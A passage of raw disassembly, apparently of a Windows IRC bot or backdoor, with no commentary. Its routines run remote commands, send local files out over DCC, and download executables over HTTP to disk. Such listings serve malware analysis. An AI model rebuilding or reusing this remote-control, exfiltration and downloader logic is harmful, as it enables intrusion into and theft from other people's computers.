--------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE30 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, 